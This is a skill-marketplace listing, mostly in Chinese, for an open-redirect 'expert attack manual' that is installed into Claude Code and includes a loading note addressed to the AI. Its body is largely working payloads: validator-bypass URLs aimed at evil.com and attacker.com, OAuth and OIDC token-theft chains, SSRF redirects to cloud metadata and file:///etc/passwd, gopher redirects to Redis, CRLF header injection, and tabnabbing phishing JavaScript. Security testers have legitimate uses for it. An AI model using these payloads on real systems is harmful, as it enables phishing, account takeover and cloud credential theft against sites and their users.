mcpField
O
open-redirect

open-redirect

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 open-redirect

open-redirect 是面向安全测试人员的技能,用于分析不安全的 URL 重定向,涵盖发现方法、验证绕过,以及与钓鱼、OAuth、CSRF 和 SSRF 的攻击链。

主要功能

  1. 01发现重定向参数与代码接收点
  2. 02URL 验证绕过模式
  3. 03OAuth 令牌窃取攻击链
  4. 04CSRF 与 SSRF 重定向攻击链
  5. 05Tabnabbing 检测与利用

适用场景

  1. 01审计 Web 应用中的重定向参数
  2. 02测试 OAuth redirect_uri 验证
  3. 03评估跟随重定向的抓取器是否存在 SSRF
  4. 04检查在新标签页打开的外部链接

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill open-redirect

安装后在 Claude Code 中输入/open-redirect确认已加载。

详细介绍

技能:开放重定向 — 专家攻击手册

AI 加载说明:开放重定向技术。涵盖基于参数的重定向、JavaScript 接收点、过滤器绕过,以及与网络钓鱼、CSRF Referer 绕过、OAuth 令牌窃取和 SSRF 的链式利用。开放重定向常被低估,但它对网络钓鱼至关重要,也是多步漏洞利用链的组成部分。

1. 核心概念

当应用程序将用户重定向到未经验证的用户输入所构造的 URL 时,就会发生开放重定向。受信任的域名会成为网络钓鱼或令牌窃取的“跳板”。

https://trusted.com/redirect?url=https://evil.com
→ User sees trusted.com in the link → clicks → lands on evil.com

2. 查找重定向参数

常见参数名称
?url=           ?redirect=      ?next=          ?dest=
?destination=   ?redir=         ?return=        ?returnUrl=
?go=            ?forward=       ?target=        ?out=
?continue=      ?link=          ?view=          ?to=
?ref=           ?callback=      ?path=          ?rurl=
服务端接收点
HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)
客户端(JavaScript)接收点
window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input

3. 过滤器绕过技术

验证方式绕过方法
检查 URL 是否以 / 开头//evil.com(协议相对 URL)
检查域名是否包含 trusted.comevil.com?trusted.com 或 trusted.com.evil.com
屏蔽 http:////evil.com、https://evil.com、\/\/evil.com
检查 URL 是否以 https://trusted.com 开头https://[email protected](用户信息)
正则表达式 ^/[^/](仅限相对路径)/\evil.com(某些浏览器会将反斜杠视为路径)
Django endswith('target.com')http://evil.com/www.target.com — URL 路径以目标域名结尾
按域名后缀加入白名单接管 *.trusted.com 上的子域名
# Protocol-relative:
//evil.com

# Userinfo bypass:
https://[email protected]

# Backslash trick:
/\evil.com
/\/evil.com

# URL encoding:
https://trusted.com/%2F%2Fevil.com

# Django endswith bypass:
http://evil.com/www.target.com
http://evil.com?target.com

# Trusted site double-redirect (e.g., via Baidu link service):
https://link.target.com/?url=http://evil.com

# Special character confusion:
http://evil.com#@trusted.com        # fragment as authority
http://evil.com?trusted.com         # query string confusion
http://trusted.com%[email protected]      # null byte truncation

# Tab/newline in URL (browser ignores whitespace):
java%09script:alert(1)

4. 利用链

放大网络钓鱼效果

攻击者发送:https://bigbank.com/redirect?url=https://bigbank-login.evil.com 受害者看到 bigbank.com → 点击 → 在克隆网站上输入凭据。

OAuth 令牌窃取

如果 OAuth redirect_uri 允许在已授权域名上进行开放重定向:

/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ Authorization code or token appended to evil.com URL
→ Attacker captures token from URL fragment or query
CSRF Referer 绕过

某些 CSRF 防护会检查 Referer 标头是否包含受信任的域名:

1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email
2. Redirect preserves Referer from trusted.com
3. CSRF protection passes because Referer = trusted.com
通过重定向实现 SSRF

当服务器跟随重定向时:

?url=https://attacker.com/redirect-to-internal
# attacker.com returns 302 → http://169.254.169.254/
# Server follows redirect → SSRF to metadata endpoint

5. 测试清单

□ Identify all URL parameters that trigger redirects
□ Test external domain: ?url=https://evil.com
□ Test protocol-relative: ?url=//evil.com
□ Test userinfo bypass: ?url=https://[email protected]
□ Test backslash: ?url=/\evil.com
□ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based)
□ Check OAuth flows for redirect_uri open redirect
□ Verify if redirect preserves auth tokens in URL

6. 标签页劫持(反向标签页劫持)

概念

当链接使用 target="_blank" 打开新标签页,但未设置 rel="noopener" 时:

  • 新页面可以访问 window.opener
  • 它可以重定向原始页面:window.opener.location = "https://phishing.com/login"
  • 用户返回“原始”标签页 → 看到伪造的登录页面 → 输入凭据
检测

<a href="https://external.com" target="_blank">Click here</a>


<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>
利用
// On the attacker-controlled page (opened via target="_blank"):
if (window.opener) {
    window.opener.location = "https://phishing.com/fake-login.html";
}
检查位置
  • 含有链接的用户生成内容(论坛、评论、个人资料)
  • 指向外部域名的 target="_blank" 链接
  • 在新标签页中打开的 PDF 查看器、文档预览

7. 开放重定向 → OAuth 令牌窃取(详细利用链)

7.1 OAuth 隐式流程

在隐式流程中,访问令牌会通过 URL 片段返回(#access_token=...)。如果 redirect_uri 允许在已授权域名上进行开放重定向:

/authorize?response_type=token
  &client_id=CLIENT
  &redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
  &scope=read

Flow:
1. User authenticates → authorization server redirects to:
   https://target.com/redirect?url=https://evil.com#access_token=SECRET
2. Open redirect fires → browser navigates to:
   https://evil.com#access_token=SECRET
3. Attacker page reads location.hash → captures access token
7.2 授权码流程

授权码会作为查询参数发送。如果重定向链会保留查询参数:

/authorize?response_type=code
  &client_id=CLIENT
  &redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com

Flow:
1. Authorization server validates redirect_uri prefix → matches https://target.com/
2. Redirects to: https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
3. Open redirect sends victim to: https://evil.com?code=AUTH_CODE
4. Attacker exchanges code for access token
7.3 OIDC id_token 片段泄露
/authorize?response_type=id_token
  &client_id=CLIENT
  &redirect_uri=https://target.com/cb
  &nonce=NONCE

If redirect_uri points to open redirect endpoint:
→ id_token in fragment sent to attacker
→ Attacker has signed identity assertion
→ Can authenticate as victim on any RP accepting this IdP
7.4 redirect_uri 验证绕过模式
redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
redirect_uri=https://target.com/callback?next=https://evil.com
redirect_uri=https://target.com/callback%[email protected]
redirect_uri=https://target.com/callback/../../redirect
redirect_uri=https://target.com/callback#@evil.com

8. 开放重定向 → SSRF 利用链

服务端跟随重定向

当服务端组件跟随 HTTP 重定向时(例如 URL 预览、链接展开器、Webhook、图片抓取器):

1. Submit URL to server-side fetcher: http://attacker.com/redirect
2. attacker.com responds: 302 Location: http://169.254.169.254/latest/meta-data/
3. Server follows redirect → SSRF to cloud metadata endpoint
4. Response (IAM credentials) returned to attacker or visible in preview
通过多跳重定向绕过过滤器
1. Server blocks direct requests to 169.254.169.254
2. Submit: http://attacker.com/r1
3. r1 → 302 → http://attacker.com/r2  (same domain, passes filter)
4. r2 → 302 → http://169.254.169.254/ (internal, filter not re-checked)
DNS 重绑定变体
1. attacker.com resolves to attacker's public IP (TTL=0)
2. Server resolves attacker.com → public IP → passes SSRF filter
3. Connection established, but HTTP redirect points to attacker.com again
4. Second DNS resolution: attacker.com now resolves to 169.254.169.254
5. Server follows redirect to internal address
通过重定向协议扩大攻击范围
http://attacker.com/redirect → gopher://127.0.0.1:6379/...  (Redis SSRF)
http://attacker.com/redirect → file:///etc/passwd            (local file read)
http://attacker.com/redirect → dict://127.0.0.1:11211/       (Memcached)

并非所有 HTTP 客户端都会跟随跨协议重定向,但 curl(默认情况下)和某些库会这样做。


9. 利用 URL 解析器差异绕过重定向验证

当重定向验证函数解析 URL 的方式,与最终处理该 URL 的浏览器或服务器不同时:

协议相对 URL
//attacker.com
→ Browser: https://attacker.com (inherits current page protocol)
→ Some validators: relative path "/attacker.com" (wrong)
反斜杠解析差异
\/\/attacker.com
/\/attacker.com
→ Many browsers normalize \ to / in URLs
→ Validators treating \ as path character may allow it
滥用用户信息部分
//attacker.com\@target.com
→ Browser: navigates to attacker.com (@ is userinfo delimiter)
→ Validator sees "target.com" in the string → passes allowlist check

//[email protected]
→ Browser: userinfo=target.com, host=attacker.com
→ Validator checks "starts with target.com" → passes

https://target.com%[email protected]
→ URL-decoded: target.com/ as userinfo, host=attacker.com
双重编码
//attacker%252ecom
→ First decode: //attacker%2ecom (passes validator)
→ Second decode (by server/browser): //attacker.com (actual redirect)
CRLF 注入 + 重定向
/%0d%0aLocation:%20https://attacker.com
→ If server reflects the path in a header context:
   HTTP/1.1 302 Found
   Location: /
   Location: https://attacker.com  ← injected header wins
片段解析差异
https://target.com#@attacker.com
→ Browser: host=target.com, [email protected]
→ But some JS-based redirects: window.location = url → may process differently

https://attacker.com#.target.com
→ Validator: sees "target.com" in string → passes
→ Browser: navigates to attacker.com (fragment ignored in navigation)
特殊字符
https://attacker.com%E3%80%82target.com
→ Unicode ideographic full stop (U+3002) — some parsers treat as dot
→ Browser may normalize differently than validator

https://attacker。com    (U+3002 fullwidth period)
https://attacker.com    (U+FF0E fullwidth full stop)
URL 解析器差异对照表
载荷验证器看到的内容浏览器跳转到
//evil.com相对路径https://evil.com
\/\/evil.com路径 \/\/evil.comhttps://evil.com
//evil.com\@target.com包含 target.comhttps://evil.com
//[email protected]以 target.com 开头https://evil.com
/%0d%0aLocation: https://evil.com路径字符串标头注入 → 重定向
//evil%252ecomevil%2ecom(不是域名)evil.com(双重解码后)

评论

支持 Markdown